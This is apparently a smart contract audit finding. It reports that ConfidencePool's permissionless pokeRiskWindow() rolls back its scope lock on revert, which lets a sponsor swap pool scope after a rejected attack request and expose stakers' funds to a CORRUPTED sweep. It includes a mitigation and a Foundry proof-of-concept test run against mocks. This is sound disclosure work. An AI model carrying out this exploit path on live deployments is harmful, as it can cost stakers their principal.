Description
pokeRiskWindow() is the pool's permissionless observation hook. The root cause
is that, in ATTACK_REQUESTED, it calls _observePoolState() and then reverts
with RiskWindowNotReached, rolling back the local scopeLocked = true write.
If the DAO later rejects the request, the sponsor can change scope for already-
staked funds and those stakers can be settled against a scope they never entered.
Details
The protocol documents pool scope as the staker-facing commitment. The sponsor
can update scope only while the registry is in the two pre-attack staging states,
and the scope should lock permanently after the first interaction that observes
any other state.
docs/DESIGN.md states that scope locks on the first non-staging observation:
The sponsor can update scope freely while the registry is in `NOT_DEPLOYED` / `NEW_DEPLOYMENT`
(pre-attack staging). Scope locks permanently on the first interaction observing any other state.
The README gives the same security boundary: each clone commits to a scope
"locked permanently once the registry leaves pre-attack staging",
and the pool sponsor controls scope only until that point.
The implementation tries to enforce that invariant inside _observePoolState().
Any state except NOT_DEPLOYED and NEW_DEPLOYMENT flips scopeLocked before
the function handles risk-window timestamps.
_observePoolState() locks scope for ATTACK_REQUESTED:
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
if (
!scopeLocked && state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
) {
scopeLocked = true;
emit ScopeLocked(block.timestamp);
}
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}
That works for ordinary successful pool interactions. For example, a stake()
during ATTACK_REQUESTED persists the lock, and any later setPoolScope() call
reverts. The bug is specific to the public observation hook.
pokeRiskWindow() calls _observePoolState(), but then reverts if both risk
markers are still zero. ATTACK_REQUESTED is not an active-risk state and is
not terminal, so _observePoolState() sets only scopeLocked. The following
RiskWindowNotReached revert rolls back that lock.
pokeRiskWindow() reverts after the lock write:
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
_observePoolState();
if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}
This creates a gap between the documented invariant and the persisted state. We
can observe the registry leaving pre-attack staging through the designated
permissionless hook, but the pool forgets that observation.
The gap matters because ATTACK_REQUESTED can be rejected by the registry DAO.
On rejection, the upstream registry emits NOT_DEPLOYED and deletes the
agreement info.
rejectAttackRequest() returns the agreement to NOT_DEPLOYED:
function rejectAttackRequest(address agreementAddress, bool slashBond) external onlyRegistryModerator {
ContractState currentState = _getAgreementState(agreementAddress);
if (currentState != ContractState.ATTACK_REQUESTED) {
revert AttackRegistry__InvalidState(currentState);
}
...
emit AgreementStateChanged(agreementAddress, ContractState.NOT_DEPLOYED);
delete s_agreementInfo[agreementAddress];
}
After that rewind, setPoolScope() has no persisted lock to enforce. It calls
_observePoolState(), sees NOT_DEPLOYED, leaves scopeLocked == false, and
then replaces the scope.
setPoolScope() only checks the local lock after observation:
function setPoolScope(address[] calldata accounts) external onlyOwner {
_observePoolState();
if (scopeLocked) revert ScopePostLockImmutable();
_replaceScope(accounts);
}
The sponsor can therefore mutate the staker-facing commitment after the pool
already observed a non-staging registry state. Later, if the replacement scope
is breached, the moderator can validly flag CORRUPTED for the new scope and
claimCorrupted() sweeps all remaining stake to recoveryAddress.
This is distinct from the existing stale-agreement binding issue. The pool can
remain pinned to the same agreement the entire time. The failure is purely local:
the scope-lock side effect is placed before a later revert in the permissionless
observation path, so the state transition that should protect existing stakers
does not persist.
Risk
Existing stakers can lose principal under a scope they did not enter. A staker
can deposit when the pool scope is contract X, the registry can enter
ATTACK_REQUESTED, and a permissionless pokeRiskWindow() still fails to make
that X scope immutable. If the DAO rejects the request and the sponsor switches
the pool to contract Y, a later Y-only corruption can send the staker's X-scope
principal down the CORRUPTED sweep path.
The exploit has constraints: it requires an ATTACK_REQUESTED episode that is
rejected before any successful pool interaction persists the lock, and a later
corruption under the replacement scope. Those constraints do not make the issue
a design choice. The documented invariant is that the first observed
non-staging state fixes scope permanently; here, the advertised permissionless
observer cannot persist that fix.
Recommended mitigation steps
Make pokeRiskWindow() persist scopeLocked when the registry is in
ATTACK_REQUESTED, or change the function so it does not revert after
_observePoolState() has performed a one-way state transition.
Proof of concept
I reproduced the issue locally with
test/TempAttackRequestedPokeScopeBypass.t.sol. The test demonstrates both the
exploit path and the intended control case where an ordinary stake() during
ATTACK_REQUESTED persists the scope lock.
Save the following as test/TempAttackRequestedPokeScopeBypass.t.sol:
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
contract TempAttackRequestedPokeScopeBypassTest is Test {
uint256 internal constant ONE = 1e18;
address internal constant CONTRACT_X = address(0xAAA1);
address internal constant CONTRACT_Y = address(0xAAA2);
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreement;
ConfidencePool internal pool;
address internal sponsor = makeAddr("sponsor");
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal alice = makeAddr("alice");
function setUp() public {
vm.warp(1_750_000_000);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreement = new MockAgreement(sponsor);
agreement.setContractInScope(CONTRACT_X, true);
agreement.setContractInScope(CONTRACT_Y, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(address(agreement), true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(implementation)));
address[] memory accounts = new address[](1);
accounts[0] = CONTRACT_X;
pool.initialize(
address(agreement),
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
ONE,
recovery,
sponsor,
accounts
);
}
function testPokeCannotPersistAttackRequestedScopeLockBeforeSponsorChangesScopeAfterRejection() external {
_stake(alice, 100 * ONE);
assertEq(pool.getScopeAccounts()[0], CONTRACT_X, "alice entered with X as the pool scope");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);
pool.pokeRiskWindow();
assertFalse(pool.scopeLocked(), "poke reverted and rolled back the scope lock");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
address[] memory replacement = new address[](1);
replacement[0] = CONTRACT_Y;
vm.prank(sponsor);
pool.setPoolScope(replacement);
assertEq(pool.getScopeAccounts()[0], CONTRACT_Y);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
uint256 recoveryBefore = token.balanceOf(recovery);
pool.claimCorrupted();
assertEq(token.balanceOf(recovery) - recoveryBefore, 100 * ONE);
}
function testOrdinaryStakeInAttackRequestedWouldHavePersistedTheScopeLock() external {
_stake(alice, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
_stake(makeAddr("locker"), ONE);
assertTrue(pool.scopeLocked(), "ordinary interaction persisted the ATTACK_REQUESTED scope lock");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
address[] memory replacement = new address[](1);
replacement[0] = CONTRACT_Y;
vm.prank(sponsor);
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
pool.setPoolScope(replacement);
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
}
Run:
forge test --match-path test/TempAttackRequestedPokeScopeBypass.t.sol -vv
Output:
Ran 2 tests for test/TempAttackRequestedPokeScopeBypass.t.sol:TempAttackRequestedPokeScopeBypassTest
[PASS] testOrdinaryStakeInAttackRequestedWouldHavePersistedTheScopeLock()
[PASS] testPokeCannotPersistAttackRequestedScopeLockBeforeSponsorChangesScopeAfterRejection()
Suite result: ok. 2 passed; 0 failed; 0 skipped